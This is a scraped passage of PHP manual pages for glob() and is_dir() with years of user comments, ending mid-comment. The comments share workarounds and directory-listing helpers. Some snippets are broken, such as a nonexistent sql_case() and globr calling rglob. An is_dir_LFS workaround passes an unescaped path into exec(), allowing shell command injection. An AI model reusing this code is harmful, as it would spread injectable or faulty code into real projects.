Run your directory + "file pattern" through preg_quote to get around [ ] / etc issues...glob uses pattern matching.
josh at servebyte dot com 23-Jul-2007 05:55
To:  martinlarsen at bigfoot dot com (14-Jun-2007 01:13)

[quote]
glob() does not work if the path contains brackets "[" and "]".

For example, this will make it fail:

$files = glob("[myfolder]/*.txt");

No error is returned, just an empty array!
[/quote]

Hi there,
if you backslash the brackets, it should work. Try:
$files = glob("\[myfolder\]/*.txt");
Hope this helps.
Sam Yong - hellclanner at live [dot] com 18-Jul-2007 05:31
An alternative to this glob function. Like what edogs [at] dogsempire.com said, opendir should be faster than glob. I have not tested timing for this function but it works perfectly for me on my PHP v5.2.2 server.

<?php

$_foo ='/server/public_html/path/';

function s_glob($dir){
$files = array();
if(is_dir($dir)){
    if($dh=opendir($dir)){
    while(($file = readdir($dh)) !== false){
        $files[]=$dir.$file;
    }}
}
return $files;
}

print_r(s_glob($_foo));

?>

This function returns an empty array if no files are found in the directory or the path specified is not a directory.
hofmann dot niklas at web dot de 03-Jul-2007 02:11
if your script runs in a directory which contains brackets "[" and "]" glob does not work. example:

script path: c:/dir1/[baddir]/dir2/script.php

íf you use glob("c:/*") or similar calls in this script, it will fail!!

you do not even have to use the brackets in the first parameter of glob!
martinlarsen at bigfoot dot com 14-Jun-2007 05:13
glob() does not work if the path contains brackets "[" and "]".

For example, this will make it fail:

$files = glob("[myfolder]/*.txt");

No error is returned, just an empty array!
nataxia at gmail dot com 07-May-2007 04:05
Something I used to sort dir & subdir into array (multidimensional) reflecting dir structure.

    function getRecursiveFolderList($curDir,$currentA=false)
      {
        $dirs = glob($curDir . '/*', GLOB_ONLYDIR);

        $cur = 0;
        foreach($dirs as $dir)
          {
            $currentA[$cur]['path'] = $dir;
            $currentA[$cur] = $this->getRecursiveFolderList($dir,$currentA[$cur]);

            ++$cur;
          }

        return $currentA;
      }
25-Mar-2007 08:41
Reply to ny_obaATgmxDOTnet:

You could also use sql_regcase() to build a pattern for case insensitive matches.
You may also want to set the locale before, so it is used when building the pattern.

<?php

$pattern = sql_case("*.pdf");

var_dump(glob($pattern));

?>

should therefore match file.pdf AND OtherFile.PDF

See http://www.php.net/sql_regcase for more information.
alan at ridersite dot org 18-Mar-2007 11:26
A couple of notes:
glob() handles symbolic filesystem links and resolves references to './', '../'  nicely and handles an extra '/' character , at least on X-systems. e.g., glob("../*") will do next higher dir.

This is good to use so warnings or errors show as "../foo" and not your system's full path.

Several of the examples use a notation "*.*" when just plain "*" does the same thing.  The "*.*" notation is misleading as it implies foo.ext will not be found with "*" because the "." is not present.

Watch the flags must not be strings. They are defined constants. Thus,
glob("../*", GLOB_ONLYDIR)  works;
glob("../*", "GLOB_ONLYDIR")  does not.
viajy at yoyo dot org 10-Feb-2007 04:50
this is a recursive function i wrote to return an array of all subdirectories of a dir

function listdirs($dir) {
    static $alldirs = array();
    $dirs = glob($dir . '/*', GLOB_ONLYDIR);
    if (count($dirs) > 0) {
        foreach ($dirs as $d) $alldirs[] = $d;
    }
    foreach ($dirs as $dir) listdirs($dir);
    return $alldirs;
}

example:
print_r(listdirs('/some/path'));
lesion at autistici dot org 04-Dec-2006 08:14
Maybe all of you still know this, but it seems that if the directory contains some unresolved symlink, glob() simply ignore those files.
torch at torchsdomain dot com 22-Nov-2006 12:25
Here is simple function that will find and remove all files (except "." ones) that match the expression ($match, "*" as wildcard) under starting directory ($path) and all other directories under it.

function rfr($path,$match){
   static $deld = 0, $dsize = 0;
   $dirs = glob($path."*");
   $files = glob($path.$match);
   foreach($files as $file){
      if(is_file($file)){
         $dsize += filesize($file);
         unlink($file);
         $deld++;
      }
   }
   foreach($dirs as $dir){
      if(is_dir($dir)){
         $dir = basename($dir) . "/";
         rfr($path.$dir,$match);
      }
   }
   return "$deld files deleted with a total size of $dsize bytes";
}
guilleva at gmail dot com 19-Oct-2006 08:54
In some systems (AIX for example) GLOB_BRACE isn't defined and you get the error:
glob() expects parameter 2 to be long, string given in /XX/XX.php

<?

foreach (glob("{*.pdf,*.PDF}",GLOB_BRACE ) as $filename) {
      echo "$filename \n";
}

?>

The method may help you in this case.

<?

foreach (array_merge(glob("*.pdf"),glob("*.PDF")) as $filename) {
      echo "$filename \n";
}

?>
joseph dot morphy at gmail dot com 16-Aug-2006 11:01
<?php
$html_array = glob("*.html");

function sort_by_mtime($file1,$file2) {
    $time1 = filemtime($file1);
    $time2 = filemtime($file2);
    if ($time1 == $time2) {
        return 0;
    }
    return ($time1 < $time2) ? 1 : -1;
    }

usort($html_array,"sort_by_mtime");
//$html_array is now ordered by the time it was last modified
?>
redcube at gmx dot de 14-Aug-2006 02:22
The answer for the difference in the dirsize function of "management at twilightus dot net":

glob('*') ignores all 'hidden' files by default. This means it does not return files that start with a dot (e.g. ".file").
If you want to match those files too, you can use "{,.}*" as the pattern with the GLOB_BRACE flag.

<?php
// Search for all files that match .* or *
$files = glob('{,.}*', GLOB_BRACE);
?>

Note: This also returns the directory special entries . and ..
management at twilightus dot net 10-Aug-2006 12:40
I was making a directory filesize function but found there's a slight difference between glob and readdir in terms of getting sizes.

<?php
function dirsize_glob($dir)
{
    $size = 0;
    $dir .= (!ereg('/$', $dir)) ? '/' : '';

    foreach (glob($dir . '*') as $file)
    {
        $size += (is_dir($file)) ? dirsize_glob($file) : filesize($file);
    }

    return $size;
}

function dirsize_readdir($dir)
{
    $size = 0;
    $dir .= (!ereg('/$', $dir)) ? '/' : '';

    $handle = opendir($dir);
    while (($file = readdir($handle)) !== FALSE)
    {
        if (!ereg('^\.{1,2}$', $file))
        {
            $size += (is_dir($dir . $file)) ? dirsize_readdir($dir . $file) : filesize($dir . $file);
        }
    }
    closedir($handle);

    return $size;
}
?>

For a directory that's 529216 bytes, readdir correctly gives 529216 while glob gives 528996, a difference of 220 bytes. Anyone know why there's such a difference?
okumurya at hotmail dot com 19-Jul-2006 02:25
4.3.8 and 4.4.2 has incompatible behavior.
If there is no glob result, 4.4.2 return empty array but 4.3.8 returns FALSE.

code:
<?php
$a = glob('hoge');
var_dump($a);
?>

result at 4.3.8:
 bool(false)

result at 4.4.2:
 array(0) {
 }
c_windows_temp at hotmail dot com 06-Jun-2006 04:53
Note that this function does not list broken symbolic links.
ny_obaATgmxDOTnet 03-Apr-2006 08:51
Case insensitive version of this function for mswin:

// only supported flags are GLOB_NOSORT | GLOB_ONLYDIR
function iglob($pattern, $flags)
{
  $path = preg_split(
      '#(?<=\A|[\\\\/])((?>[^\\\\/*?]*)[*?](?>[^\\\\/]*))(?=\Z|[\\\\/])#',
      $pattern, -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY
    );

  foreach ($path as &$n)
    if (preg_match('/[*?]/', $n))
    {
      $re = '';
      for ($i = 0, $l = strlen($n); $i < $l; $i++)
        switch($n{$i})
        {
          case '*': $re .= '.*'; break;
          case '?': $re .= '.'; break;
          default: $re .= sprintf('\x%02x', ord($n{$i}));
        }
      $n = array(0, "/^$re$/i");
    }
    else
      $n = array(1, $n);

  $res = array();
  iglob_DFS($path, $flags, '', 0, $res);
  if (!($flags & GLOB_NOSORT))
    sort($res);

  return $res;
}

function iglob_DFS($path, $flags, $parent, $lvl, &$res)
{
  $depth = count($path) - 1;

  if (($lvl < $depth) && $path[$lvl][0])
    $parent .= $path[$lvl++][1];

  $files = array();
  if ($path[$lvl][0])
    $files[] = $path[$lvl][1];
  else
    if ($d = @opendir(($parent == '') ? '.' : $parent))
    {
      while (($n = readdir($d)) !== false)
        if ($n != '.' && $n != '..')
          $files[] = $n;
      closedir($d);
    }

  foreach ($files as $f)
    if ($path[$lvl][0] || preg_match($path[$lvl][1], $f))
    {
      $fullpath = $parent.$f;
      if ($lvl == $depth)
      {
        if (!($flags & GLOB_ONLYDIR) || is_dir($fullpath))
          $res[] = $fullpath;
      }
      else
        iglob_DFS($path, $flags, $fullpath, $lvl + 1, $res);
    }
}
edogs [at] dogsempire.com 03-Mar-2006 05:34
funny enough, but our testing opendir VS glob

show advantage of opendir by speed

0.00115704536438
and
0.0068039894104

or if to pass 200 times
0.210277080536
vs
1.2976038456
info at urbits dot com 06-Jan-2006 04:26
I have been working towards a CMS-type design that is both modular and quite flat. For example, included files are all one level below the installation folder.

glob() just help me get rid of a lot of opendir() hassle. I wasn't sure if the double asterix would work - but it's fine:

foreach (glob(SERVER_PATH."/*/includes/*.php") as $inc) {
   require($inc);
}
admiral [at] nuclearpixel [dot] com 23-Nov-2005 08:38
I've written a function that I've been using quite a lot over the past year or so. I've built whole websites and their file based CMSs based on this one function, mostly because (I think) databases are not as portable as groups of files and folders. In previous versions, I used opendir and readdir to get contents, but now I can do in one line what used to take several. How? Most of the work in the whole script is done by calling

glob("$dir/*")

Giving me an array containing the names of the items in the folder, minus the ones beginning with '.', as well as the ones I specify.

<?php

/* alpharead version 3: This function returns an array containing the names of the files inside any given folder, excluding files that start with a '.', as well as the filenames listed in the '$killit' array. This array is sorted using the 'natural alphabetical' sorting manner. If no input is given to the function, it lists items in the script's interpreted folder. Version 3 fixes a MAJOR bug in version 2 which corrupted certain arrays with greater than 5 keys and one of the supposedly removed filenames.
written by Admiral at NuclearPixel.com */

function alpharead3($dir){
if(!$dir){$dir = '.';}
foreach(glob("$dir/*") as $item){$sort[]= end(explode('/',$item));}

$killit = array('index.html', 'index.php', 'thumbs.db', 'styles.css');
$killcounter = 0;
foreach($sort as $sorteditem){
foreach($killit as $killcheck){
if(strtolower($sorteditem) == strtolower($killcheck))
{unset($sort[$killcounter]);}
}$killcounter++;}
if($sort){natsort($sort);}
foreach($sort as $item){$return[]= $item;}

if(!$return){return array();}
return $return;
}

//some basic usage

$folder = 'images';
foreach(alpharead3($folder) as $item)
{
echo '<img src="'.$folder.'/'.$item.'"><br>'.$item."\n";
}

?>

Commens on this function are welcome!
Jacob Eisenberg 05-Oct-2005 10:55
Note that on Windows, glob distinguishes between uppercase and lowercase extensions, so if the directory contains a file "test.txt" and you glob for "*.TXT" then the file will not be found!
That bug only happens when you use patterns containing "*", like the example above. If you for example search for the full filename "test.TXT" then everything works correctly.
DMan 28-Aug-2005 12:59
Whilst on Windows, a path starting with a slash resolves OK for most file functions - but NOT glob.
If the server is LAUNCHED (or chdir()ed) to W:, then
file_exists("/temp/test.txt")
returns true for the file "W:/temp/test.txt".
But glob("/temp/*.txt") FAILS to find it!

A solution (if you want to avoid getting drive letters into your code) is to chdir() first, then just look for the file.
<?php
$glob="/temp/*.txt";
chdir(dirname($glob));
// getcwd() is now actually "W:\temp" or whatever

foreach (glob(basename($glob)) as $filename) {
   $filepath = dirname($glob)."/".$filename; // must re-attach full path
   echo "$filepath size " . filesize($filepath) . "\n";
}
?>

Note also, glob() IS case sensitive although most other file funcs on Windows are not.
x_terminat_or_3 at yahoo dot country:fr 06-Jul-2005 03:36
This is a replacement for glob on servers that are running a php version < 4.3

It supports * and ? jokers, and stacking of parameters with ;

So you can do

<? $results=glob('/home/user/*.txt;*.doc') ?>

And it will return an array of matched files.

As is the behaviour of the built-in glob function, this one will also return boolean false if no matches are found, and will use the current working directory if none is specified.

<?php
if(!(function_exists('glob')))
{function glob($pattern)
 {#get pathname (everything up until the last / or \)
  $path=$output=null;
  if(PHP_OS=='WIN32')
   $slash='\\';
  else
   $slash='/';
  $lastpos=strrpos($pattern,$slash);
  if(!($lastpos===false))
  {$path=substr($pattern,0,-$lastpos-1); #negative length means take from the right
   $pattern=substr($pattern,$lastpos);
  }
  else
  {#no dir info, use current dir
   $path=getcwd();
  }
  $handle=@ opendir($path);
  if($handle===false)
   return false;
  while($dir=readdir($handle))
  {if(pattern_match($pattern,$dir))
    $output[]=$dir;
  }
  closedir($handle);
  if(is_array($output))
   return $output;
  return false;
 }

 function pattern_match($pattern,$string)
 {#basically prepare a regular expression
  $out=null;
  $chunks=explode(';',$pattern);
  foreach($chunks as $pattern)
  {$escape=array('$','^','.','{','}',
                 '(',')','[',']','|');
   while(strpos($pattern,'**')!==false)
    $pattern=str_replace('**','*',$pattern);
   foreach($escape as $probe)
    $pattern=str_replace($probe,"\\$probe",$pattern);
   $pattern=str_replace('?*','*',
             str_replace('*?','*',
              str_replace('*',".*",
               str_replace('?','.{1,1}',$pattern))));
   $out[]=$pattern;
  }
  if(count($out)==1)
   return(eregi("^$out[0]$",$string));
  else
   foreach($out as $tester)
    if(eregi("^$tester$",$string))
     return true;
   return false;
 }
}
?>

This function is case insensitive, but if needed, you can do this to make it behave depending on os:

* replace eregi in the example with my_regexp

add this function
<?php
function my_regexp($pattern,$probe)
{$sensitive=(PHP_OS!='WIN32');
  $sensitive=false;
 return ($sensitive?
     ereg($pattern,$probe):
     eregi($pattern,$probe));
}
?>
Michael T. McGrew 16-May-2005 07:12
Take all file names in the directory and put them in a link.
<?php
foreach (glob("*.*") as $filename)
{
   echo "<a href=\"".$filename."\">".$filename."</a><br/>";
}
?>
cgamedude at yahoo dot com 05-May-2005 03:38
Here is the *correct* way to do a reverse-alphabetical search:
<?
$Results = glob( 'blah.*' );
rsort( $Results );
?>
There now, wasn't that easy? :)
Deviant 04-Apr-2005 04:53
A slight edit on the globr() function stated by sthomas. This does exactly the same just works on windows systems for < PHP 4.3.3. :

<?php

function globr($sDir, $sPattern, $nFlags = NULL) {
    $aFiles = glob("$sDir/$sPattern", $nFlags);
    $files = getDir($sDir);
    if (is_array($files)) {
        foreach( $files as $file ) {
            $aSubFiles = globr($file, $sPattern, $nFlags);
            $aFiles = array_merge($aFiles,$aSubFiles);
        }
    }
    return $aFiles;
}

function getDir($sDir) {
    $i=0;
    if(is_dir($sDir)) {
        if($rContents = opendir($sDir)) {
            while($sNode = readdir($rContents)) {
                if(is_dir($sDir.'/'.$sNode )) {
                    if($sNode !="." && $sNode !="..") {
                        $aDirs[$i] = $sDir.'/'.$sNode ;
                        $i++;
                    }
                }
            }
        }
    }
    return $aDirs;
}

?>
cjcommunications at gmail dot com 01-Apr-2005 05:02
Here is a way I used glob() to browse a directory, pull the file name out, resort according to the most recent date and format it using date(). I called the function inside a <select> and had it go directly to the PDF file:

function browsepdf(){
    $pdffile=glob("printable/*.pdf");
    rsort($pdffile);
    foreach($pdffile as $filename){
        $filename=ltrim($filename, "printable/");
        $filename=rtrim($filename, ".pdf");
        $file=$filename;
        $datetime=strtotime($filename);
        $newdate=strtotime("+3 days",$datetime);
        $filenamedate=date("F d", $datetime);
        $filenamedate.=" - ".date("F d, Y", $newdate);
        echo "<option value='$file'>$filenamedate</option>";
    }
}
fraggy(AT)chello.nl 23-Mar-2005 03:23
glob caused me some real pain in the buttom on windows, because of the DOS thing with paths (backslashes instead of slashes)...

This was my own fault because I "forgot" that the backslash, when used in strings, needs to be escaped, but well, it can cause a lot of confusion, even for people who are not exactly newbies anymore...

For some reason, I didn't have this problem with other file operations (chdir, opendir, etc...), which was the most confusing of all...

So, for people running scripts on Windows machines (Dos95, 98 or WinNT or DosXP), just remember this:

glob('c:\temp\*.*'); // works correctly, returns an array with files.
glob("c:\temp\*.*"); // does NOT work... the backslashes need to be escaped...
glob("c:\\temp\\*.*"); // that works again...

This is especially confusing when temporary writable directories are returned as an unescaped string.

$tempdir = getenv('TEMP');
// this returns "C:\DOCUME~1\user\LOCALS~1\Temp"
so in order to scan that directoy I need to do:

glob($tempdir . "\\*.*");

Or perhaps it's easier to replace all backslashes with slashes in order to avoid these kinds of confusions...

glob("c:/temp/*.*"); // works fine too...

I know I'm not contributing anything new here, but I just hope this post may avoid some unnecessary headaches...
NOSPAM sketch at infinite dot net dot au 14-Mar-2005 05:05
in the example below, i found i got an error if the directory was empty.

<?php
foreach (glob("*.txt") as $filename) {
   echo "$filename size " . filesize($filename) . "\n";
}
?>

I think its because glob()'ing an empty directory returns false, and so calling foreach (false as $value) will obviously break.

to fix this, i did the following:
<?php
$files = glob("*.txt) or array(); // give it an empty array if the directory is empty or glob fails otherwise
   echo "$filename size " . filesize($filename) . "\n";
}
?>

Hope this helps someone
29-Jan-2005 02:09
Be aware...

On Windows you need to add "/" mark:
<?php
$files = glob("/dir/*.txt"); // Works properly.
$files = glob("dir/*.txt"); // Failure!, first letter is missing on every filename!
?>

On Unix you cant add the "/" mark:
<?php
$files = glob("dir/*.txt"); // Works properly.
$files = glob("/dir/*.txt"); // No files found!
?>

Hope this will save your time :)
23-Jan-2005 01:54
The example on this page will generate a warning if the glob function does not find any filenames that match the pattern.

The glob function result will only be an array if it finds some files and the foreach statement requires its argument to be an array.

By checking for the possibility that the result of the glob function may not be an array you can eliminate the warning.

Here's a better example:

<?php
$matches = glob("*.txt");
if ( is_array ( $matches ) ) {
   foreach ( $matches as $filename) {
      echo "$filename size " . filesize($filename) . "\n";
   }
}
?>
Per Lundberg 25-Nov-2003 07:57
Be aware that on UNIX, * as the pattern will *not* match dot-files and dot-directories.  Knowing this will save you some headache.  :-)  May He bless you.
MichaelSoft 06-Nov-2003 03:28
Note that, in some configurations, the search is case-sensitive! You'll need to have something like:

<?php
$images = glob("/path/to/images/{*.jpg,*.JPG}", GLOB_BRACE);
?>

Also on some servers, I have seen such scripts 'crash' with an CGI Error ("...not returning a complete set of HTTP headers...") when glob could not find any match!
ryan at wonko dot com 29-Oct-2003 11:03
Here's an example of how to use the GLOB_BRACE flag:

<?php
$images = glob("/path/to/images/{*.gif,*.jpg,*.png}", GLOB_BRACE);
?>

It's also worth noting that when using the GLOB_BRACE flag in any version of PHP prior to 4.3.4, PHP will crash if no matches are found.
sthomas at townnews dot com 11-Mar-2003 03:41
<?php
/**
 * Recursive version of glob
 *
 * @return array containing all pattern-matched files.
 *
 * @param string $sDir      Directory to start with.
 * @param string $sPattern  Pattern to glob for.
 * @param int $nFlags       Flags sent to glob.
 */
function globr($sDir, $sPattern, $nFlags = NULL)
{
  $sDir = escapeshellcmd($sDir);

  // Get the list of all matching files currently in the
  // directory.

  $aFiles = glob("$sDir/$sPattern", $nFlags);

  // Then get a list of all directories in this directory, and
  // run ourselves on the resulting array.  This is the
  // recursion step, which will not execute if there are no
  // directories.

  foreach (glob("$sDir/*", GLOB_ONLYDIR) as $sSubDir)
  {
    $aSubFiles = rglob($sSubDir, $sPattern, $nFlags);
   $aFiles = array_merge($aFiles, $aSubFiles);
  }

  // The array we return contains the files we found, and the
  // files all of our children found.

  return $aFiles;
}

?>
martin dot rode at zeroscale dot com 19-Feb-2003 11:37
If you don't have PHP >= 4.3 available and don't want to hassle with PHP (:-) do something like this on GNU/Linux:

<?php
foreach (explode("\n",`find -type d -maxdepth 1 ! -name ".*" -printf "%f\n" `) as $dirname) {
    print $dirname;
}
?>

With the "find" you can "glob" whatever you like.
tmm at aon dot at 21-Dec-2002 04:50
I have written my own function for searching files, but it only supports ? and *
However it should be easily expandable.

<?php
// e.g. $matches=GetMachingFiles(GetContents("."),"*.txt");
function GetMatchingFiles($files, $search) {

    // Split to name and filetype
    if(strpos($search,".")) {
      $baseexp=substr($search,0,strpos($search,"."));
      $typeexp=substr($search,strpos($search,".")+1,strlen($search));
    } else {
      $baseexp=$search;
      $typeexp="";
    }

    // Escape all regexp Characters
    $baseexp=preg_quote($baseexp);
    $typeexp=preg_quote($typeexp);

    // Allow ? and *
    $baseexp=str_replace(array("\*","\?"), array(".*","."), $baseexp);
    $typeexp=str_replace(array("\*","\?"), array(".*","."), $typeexp);

    // Search for Matches
    $i=0;
    foreach($files as $file) {
      $filename=basename($file);

      if(strpos($filename,".")) {
        $base=substr($filename,0,strpos($filename,"."));
        $type=substr($filename,strpos($filename,".")+1,strlen($filename));
      } else {
        $base=$filename;
        $type="";
      }

      if(preg_match("/^".$baseexp."$/i",$base) && preg_match("/^".$typeexp."$/i",$type))  {
        $matches[$i]=$file;
        $i++;
      }
    }
    return $matches;
}

And if someone's searching for a function which gets all files from a directory including the subdirectories:

// Returns all Files contained in given dir, including subdirs
function GetContents($dir,$files=array()) {
  if(!($res=opendir($dir))) exit("$dir doesn't exist!");
  while(($file=readdir($res))==TRUE)
    if($file!="." && $file!="..")
      if(is_dir("$dir/$file")) $files=GetContents("$dir/$file",$files);
        else array_push($files,"$dir/$file");

  closedir($res);
  return $files;
}

?>
leon at leonatkinson dot com 17-Oct-2002 06:03
Since this function is a wrapper for the OS function of the same name, you may find it helpful to look at the man page while the exact PHP implementation is sorted out.

You might have some luck passing in the literal values of the constants defined in /usr/include/glob.h.  For example, GLOB_NOSORT is defined as (1 << 2), which is 4.  In PHP, glob('*.php', 4) will returns an unsorted list for me in RH 7.x.  YMMV.
opessin at ifrance dot com 07-Jul-2002 03:48
If this function is not available in your version of PHP, think looking at the 'Directory Functions' which can be used instead.
http://www.php.net/manual/en/ref.dir.php
fwrite
is_dir
Filesystem Functions


Tells whether the filename is a directory

glob
is_executable
Filesystem Functions
PHP Manual

is_dir

(PHP 4, PHP 5)

is_dir — Tells whether the filename is a directory

Description

bool is_dir ( string $filename )

Tells whether the given filename is a directory.

Parameters

filename

Path to the file. If filename is a relative filename, it will be checked relative to the current working directory. If filename is a symbolic or hard link then the link will be resolved and checked. If you have enabled safe mode, or open_basedir further restrictions may apply.

Return Values

Returns TRUE if the filename exists and is a directory, FALSE otherwise.

Examples

Example #1 is_dir() example

<?php
var_dump(is_dir('a_file.txt'));
var_dump(is_dir('bogus_dir/abc'));

var_dump(is_dir('..')); //one dir up
?>

The above example will output:

bool(false)
bool(false)
bool(true)

Errors/Exceptions

Upon failure, an E_WARNING is emitted.

Notes

Note: The results of this function are cached. See clearstatcache() for more details.

Tip

As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality.

See Also

  • chdir() - Change directory
  • dir() - Return an instance of the Directory class
  • opendir() - Open directory handle
  • is_file() - Tells whether the filename is a regular file
  • is_link() - Tells whether the filename is a symbolic link

User Contributed Notes

h_guillaume at hotmail dot com 25-Oct-2010 04:02
I encoutered an error returning false on a directory, my problem was not a bug, but a bad relative path error inside the script function is_dir(), maybe it can help someone having the same problem.

I am using Linux with the folowing structure:
/var/www/vhosts/example.com/httpdocs/images/items_images/file1.jpg
/var/www/vhosts/example.com/httpdocs/images/items_images/temp

<?php
/* The folder "temp" will show as directory with the following script: */
$full_path = "/var/www/vhosts/example.com/httpdocs/images/items_images";
if ($handle = opendir("$full_path")) {
    while (false !== ($file = readdir($handle))) {
        if(is_dir($full_path."/".$file)) continue;
        else echo $file;
    }
}
?>

<?php
/* The folder "temp" will show as a file with the following script: */
$full_path = "/var/www/vhosts/example.com/httpdocs/images/items_images";
if ($handle = opendir("$full_path")) {
    while (false !== ($file = readdir($handle))) {
        if(is_dir($file)) continue;
        else echo $file;
    }
}
?>
digitalaudiorock at gmail dot com 09-Jun-2010 12:48
Just a note for anyone who encounters is_dir() returning false on CIFS mount points or directories within those mount points on 2.6.31 and newer kernels: Apparently in new kernels they've started using the CIFS serverino option by default.  With Windows shares this causes huge inode numbers and which apparently can cause is_dir() to return false.  Adding the noserverino option to the CIFS mount will prevent this.  This may only occur on 32 systems but I don't have a 64 bit install to test against.
vstoykov at consultant dot bg 23-Apr-2009 03:43
When trying (no 'pear') to enumerate mounted drives on a win32  platform (Win XP SP3, Apache/2.2.11, PHP/5.2.9), I used:

<?php
function echo_win_drives() {

  for($c='A'; $c<='Z'; $c++)
    if(is_dir($c . ':'))
      echo $c . ': ';
}
?>

which yielded:
A: C: D: E: F: G: H: I:
alanguir at detroitchamber dot com 28-Jan-2009 09:02
When I run a scandir I always run a simple filter to account for file system artifacts (especially from a simple ftp folder drop) and the "." ".." that shows up in every directory:

<?php
    if (is_dir($folder){
        $contents = scandir($folder);
        $bad = array(".", "..", ".DS_Store", "_notes", "Thumbs.db");
        $files = array_diff($contents, $bad);
    }
?>
Btx 26-Sep-2008 03:03
<?php
public static function isEmptyDir($dir){
     return (($files = @scandir($dir)) && count($files) <= 2);
}
?>

better ;)
jasoneisen at gee mail 29-Aug-2008 08:53
An even better (PHP 5 only) alternative to "Davy Defaud's function":

<?php
function is_empty_dir($dir)
{
    if (($files = @scandir($dir)) && count($files) <= 2) {
        return true;
    }
    return false;
}
?>

NOTE: you should obviously be checking beforehand if $dir is actually a directory, and that it is readable, as only relying on this you would assume that in both cases you have a non-empty readable directory.
nielius at gmail dot com 20-Jun-2008 02:21
@Anonymous:

If on Linux the suggested code does not work because '.' and '..' will allways be returned, it may be possible to subtract 2 from the amount of files found.
>>echo (count(glob("$dir/*") - 2) === 0) ? 'Empty' : 'Not
In that way, I think, you have solved the problem of two extra files that are counted.
Davy Defaud 20-May-2008 03:28
Well, "John Doe's function" doesn't return the good value when $file != '.' && $file != '..' it must return false and not true !
Moreover, as the latest contributor told us, the directory have to be closed before returning.
This one is far safer ;-) :

<?php
function is_empty_dir($dir)
{
    if ($dh = @opendir($dir))
    {
        while ($file = readdir($dh))
        {
            if ($file != '.' && $file != '..') {
                closedir($dh);
                return false;
            }
        }
        closedir($dh);
        return true;
    }
    else return false; // whatever the reason is : no such dir, not a dir, not readable
}
?>
Anonymous 24-Apr-2008 01:31
On the previous example you may want to closedir() before returning, I tried the function and ran into some locking issues on windows when trying to delete the directory after I ran this function.
John Doe 23-Apr-2008 06:06
I altered the function below a bit. This implementation is simpler, faster and safer:

<?php
function is_empty_folder($folder) {
    if (! is_dir($folder))
        return false; // not a dir

    $files = opendir($folder);
    while ($file = readdir($files)) {
        if ($file != '.' && $file != '..')
        return true; // not empty
    }
}
?>
vlasec at gmailcom 22-Mar-2008 04:34
zombix:
I don't know much about implementation, however I think that passing through all the files is useless. This code returns false also in case that it's not even a folder plus it stops in three steps at most.

<?php
function is_empty_folder($folder){
    $c=0;
    if(is_dir($folder) ){
        $files = opendir($folder);
        while ($file=readdir($files)){
            $c++;
            if ($c>2)
               return false; // dir contains something
        }
         return true; // empty dir
    }
    else return false; // not a dir
}
?>
zombix at metrohive dot net 17-Mar-2008 11:14
to check if folder is empty

function is_empty_folder($folder){
    $c=0;
    if(is_dir($folder) ){
        $files = opendir($folder);
        while ($file=readdir($files)){$c++;}
        if ($c>2){
            return false;
        }else{
            return true;
        }
    }
}
Anonymous 17-Dec-2007 11:51
One note regarding checking for empty directories :
>>echo (count(glob("$dir/*")) === 0) ? 'Empty' : 'Not empty';
This does not work correctly on Linux.
The '.' and '..' will always be returned even if no files are present in the directory.
sgoldbroch at DONTSPAMMEcmcplacce dot com 05-Dec-2007 02:25
Took a while to figure this out, but - DONT USE THIS IN A LOOP WITH READDIR()!  readdir() only gives the file/dir name and not the full path which is_dir apparently needs to be able to accurately evaluate the argument.
e dot loiseau at meteo-ondemand dot com 29-Jul-2007 11:42
I had the same problem as others with not using the complete path to a folder when usin is_dir.

It's really important to use complete path.

$folder = "../pictures";
$dossier = opendir($folder);
while ($Fichier = readdir($dossier)) {
  if ($Fichier != "." && $Fichier != ".." && $Fichier != "Thumbs.db") {
//    if(is_dir($Fichier)) { // Do not always works
    if(is_dir($folder."/".$Fichier)) { // Works always
echo "$Fichier";
    } // fin if is file
  } // fin if restriction des fichiers à ne pas afficher
} // fin while
closedir($dossier);

Edouard
danr at cvisual dot com dot com 18-Jul-2007 02:54
Running PHP 5.2.0 on Apache Windows, I had a problem (likely the same one as described by others) where is_dir returned a False for directories with certain permissions even though they were accessible.

Strangely, I was able to overcome the problem with a more complete path. For example, this only displays "Works" on subdirectories with particular permissions (in this directory about 1 out of 3):

$d = opendir("./albums/mydir");
while(false !== ($f = readdir($d))) {
    echo "<hr />";
        if(is_dir($f)) {
            echo "<b>Works:" . $f . "</b>";
        }
}

However, this works properly for all directories:

$d = opendir("./albums/mydir");
while(false !== ($f = readdir($d))) {
    echo "<hr />";
        $dName = "./albums/mydir/" . $f;
        if(is_dir($dName)) {
            echo "<b>Works:" . $dName . "</b>";
        }
}

I don't understand the hit-and-miss of the first code, but maybe the second code can help others having this problem.
legolas558 d0t users dot sf dot net 20-May-2007 06:33
I had troubles at checking for the existance of a directory under the windows temporary path (usually c:\windows\temp\). I am using PHP 5.2.0

See also the bug tracker item: http://bugs.php.net/bug.php?id=39198

Here below the replacement function which works under the Windows temporary directory. It is a bad hack, since it creates and then removes the directory to verify its existance! But I could not find an alternative solution, that bug should be fixed.

<?php

function temp_is_dir($dir) {
    // check directory existance under temp folder (tested on Windows)
    // see bug #31918 http://bugs.php.net/bug.php?id=39198
    // by legolas558
    if (!@mkdir($dir))
        return true;
    rmdir($dir);
    return false;
}
?>
lordalderaan at gmail dot com 11-May-2007 06:26
As was said earlier by locataweb at hotmail dot com is_dir returns false on windows shares even if they exist and are accessible.

I found that is_readable provides about the same functionality and does return true. It might provide a sufficient replacement in most cases.
gecko4 at gmail dot com 24-Feb-2007 09:03
Here is another way to test if a directory is empty, which I think is much simpler than those posted below:

<?php
$dir = 'directory';
echo (count(glob("$dir/*")) === 0) ? 'Empty' : 'Not empty';
?>
18-Jan-2007 05:07
Be aware that is_dir() and is_file() will not work on very large (for me >2gb) files (also see http://de3.php.net/manual/en/function.is-file.php#56334).

You might try this approach - it works for me:

<?php
function isDir($dir) {
  $cwd = getcwd();
  $returnValue = false;
  if (@chdir($dir)) {
    chdir($cwd);
    $returnValue = true;
  }
  return $returnValue;
}
?>

Please keep in mind that isDir() will fail on directories which cannot be chdired due to permission settings for example.
Eric 24-Oct-2006 01:53
Ah ha!  Maybe this is a bug, or limitation to be more precise, of php. See http://bugs.php.net/bug.php?id=27792

A workaround is posted on the page (above) and seems to work for me:

function is_dir_LFS($path){
  return (('d'==substr(exec("ls -dl '$path'"),0,1))?(true):(false));
}

PS: I'm using PHP 4.3.10-16, posts report this problem up to 5.0
Eric Peterson 23-Oct-2006 05:48
I'm not sure what is going on here... I have a function to return a listing of (sub)directories within a directory.  Works great until I ran into the directory given in the warning below... 87 characters seems too short to be running into a file/directory name length issue?

